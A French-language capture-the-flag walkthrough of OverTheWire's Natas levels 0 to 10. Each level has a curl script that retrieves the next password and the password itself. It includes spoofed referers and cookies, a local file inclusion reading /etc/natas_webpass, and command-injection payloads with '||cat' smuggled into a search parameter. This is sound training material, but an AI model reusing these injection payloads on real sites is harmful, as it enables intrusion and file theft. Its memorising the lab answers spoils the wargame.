Salutations !


Aujourd'hui je m'attaque aux challenges "Natas" de la plateforme "OverTheWire".

Pour pimenter un peu la chose, je vais, pour chaque solution, écrire un script bash qui donnera le mot de passe du challenge.

Level 0

Pour ce premier challenge rien de bien compliqué, un simple examen du code source nous donne le mot de passe de l'épreuve suivante.

Et voici comment le faire avec un script bash

#!/bin/bash

curl -s --user natas0:natas0 http://natas0.natas.labs.overthewire.org |grep -oE "password for natas1 is \w*"|rev |cut -f 1 -d " " |rev

#gtVrDuiDfck831PqWsLEZy5gyDz1clto

Level 0 -> 1

On augmente un peu la difficulté, voila que le clic droit est bloqué. 

Il suffit simplement d'avoir la bonne URL pour voir le code source.

Et voici comment le faire avec un script bash

#!/bin/bash

curl -s --user natas1:gtVrDuiDfck831PqWsLEZy5gyDz1clto http://natas1.natas.labs.overthewire.org | tail -n 5|head -n 1 | rev | cut -d" " -f2 |rev

#ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

Level 1 -> 2

A première vue ca semble mal barré

Mais si on regarde le code source de la page, on peut y découvrir un petit indice.

Cette petite chose nous indique qu'il y-a des ressources qui sont chargées depuis un dossier files... Allons y jeter un oeil !

Et tada !

Il ne reste plus qu'a acceder au bon fichier et le tour est joué !

Et voici comment le faire avec un script bash

#!/bin/bash

curl -s --user natas2:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi http://natas2.natas.labs.overthewire.org/files/users.txt | grep natas3:\w*|cut -d':' -f 2

#sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

Level 2 -> 3

Encore ?!

On retrouve un certain type d'humour dans ces challenges, non ?

Hum... Google ne peut pas trouver quelque chose ? Une seule solution: Le robots.txt !

Et voilà, rien de bien compliqué

Et voici comment le faire avec un script bash

#!/bin/bash

curl -s --user natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt|cut -d ':' -f 2

#Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

Level 3 -> 4

La diffculté augmente encore un peu...

IMHO, le plus simple pour ce challenge c'est de passer par un script.

#!/bin/bash

curl -s -e "http://natas5.natas.labs.overthewire.org/" --user natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ http://natas4.natas.labs.overthewire.org |grep -oE "password for natas5 is \w*" | rev |cut -d" " -f 1 |rev

#iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

Level 4 -> 5

Hum, étrange accueille...

Une simple inspection des requetes nous donne la solution: un cookie "loggedin"

Encore une fois le plus simple est d'utiliser un script

#!/bin/bash

curl -s --cookie "loggedin=1" --user natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq http://natas5.natas.labs.overthewire.org |grep -oE "password for natas6 is \w*" |rev |cut -d " " -f 1 |rev

#aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

Level 5 -> 6

On est accueilli par un formulaire qui nous demande un secret.

Une rapide analyse du code source nous permet de voir où se situe le secret

Et voila le fameux secret

et le script qui va avec

#!/bin/bash

curl -s --data "secret=FOEIUWGHFEEUHOFUOIU" --data "submit=Submit+Query" --user natas6:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1 http://natas6.natas.labs.overthewire.org/ | grep -oE "password for natas7 is \w*" | rev | cut -d" " -f 1 | rev

#7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

Level 6 -> 7

Un simple paramètre dans l'URL permet de choisir la page à afficher.
Ce resenble à une LFI tout ça dis donc !

#!/bin/bash

curl -s --user natas7:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9 "http://natas7.natas.labs.overthewire.org/?page=/etc/natas_webpass/natas8" | cut -d"<" -f 6|tr -d '\n'

#DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

Level 7 -> 8

Dans ce challenge on arrive sur un formulaire nous demandant encore une fois un secret...

On va donc explorer le code source de ce dernier

Comme on peut le voir il y'a 3 fonctions qui sont appliquées au secret.
Pour retrouver le secret il suffit donc de les appliquer dans l'ordre inverse.

Comme c'est une image, j'ai mis la version texte dessous ;)
echo "3d3d516343746d4d6d6c315669563362" | xxd -r -p | rev | base64 -d - 

oubWYf2kBq
#!/bin/bash

curl -s --user natas8:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe http://natas8.natas.labs.overthewire.org/ -d "secret=oubWYf2kBq" -d "submit=submit" | grep -oE "for natas9 is \w*" | rev | cut -d" " -f1 |rev

#W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

Level 8 -> 9

Cette fois le formulaire nous permet de chercher des mots.

On peut remarquer que le terme recherché se trouve dans l'URL.

Explorons maintenant le code source de cet outils de recherche.
On peut remarquer l'emploi de la fonction passtrhru.
D'après sa documentation, elle permet d'éxecuter des commandes système, c'est à dire les mêmes commandes que dans un bash...

On va se servir de ça pour aller afficher autre choses que ce que la fonction prévoit, à savoir le mot de passe pour le niveau suivant...

http://natas9.natas.labs.overthewire.org/?needle=+.*+%2Fetc%2Fnatas_webpass%2Fnatas10&submit=Search

Et comme toujours, voiçi le script qui permet de récupérer le mot de passe pour le level suivant.

#!/bin/bash

curl -s --user "natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl" "http://natas9.natas.labs.overthewire.org/?needle=needle||cat%20/etc/natas_webpass/natas10%20&submit=Search" |head -n 21|tail -n 1

#nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

Level 9 -> 10

Dernier challenge pour cette article !

Une sécurité en plus a été ajoutée !

La solution reste similaire à celle du challenge précédent.
Un simple double pipe permet de countourner le filtrage

!/bin/bash

curl -s --user "natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu" "http://natas10.natas.labs.overthewire.org/?needle=.%20%22/etc/natas_webpass/natas11%22&submit=Search" |head -n 23 | tail -n 1 |cut -d':' -f 2

#U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

Voila qui conclu cette première partie sur les challenges Natas de OverTheWire !

NB: Aviez-vous remarqué que NATAS c'est un peu comme Tacgonl ?

Credits

https://www.deviantart.com/mooziadesignstudio/art/Devil-Dragon-344879527